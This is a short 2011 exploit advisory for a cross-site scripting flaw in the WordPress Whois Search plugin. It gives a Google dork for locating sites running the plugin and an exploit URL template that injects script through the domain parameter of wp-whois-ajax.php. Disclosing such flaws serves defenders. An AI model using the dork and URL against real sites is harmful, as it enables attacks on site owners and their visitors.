The WordPress Whois Search plugin suffers from a cross site scripting vulnerability.
d272e240c880b3634482ae31930805b167bc0dc500a7acf8dc40ab524a093877
|############################################################################
# Exploit Title: Wordpress whois search Cross-Site Scripting Vulnerability
# Google Dork: "inurl:wp-content/plugins/wp-whois/"
# Date: 31/12/2011
# Author:||Atmon3r
||# Discovered By: Atmon3r
# Software Link: http://wordpress.org/extend/plugins/wordpress-whois-search/
# Version: All Version
# Security Risk:: Low
# Tested on: GNU/Linux Ubuntu
############################################################################
# Exploit:
#
# http://www.website.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss]
#
#
############################################################################
|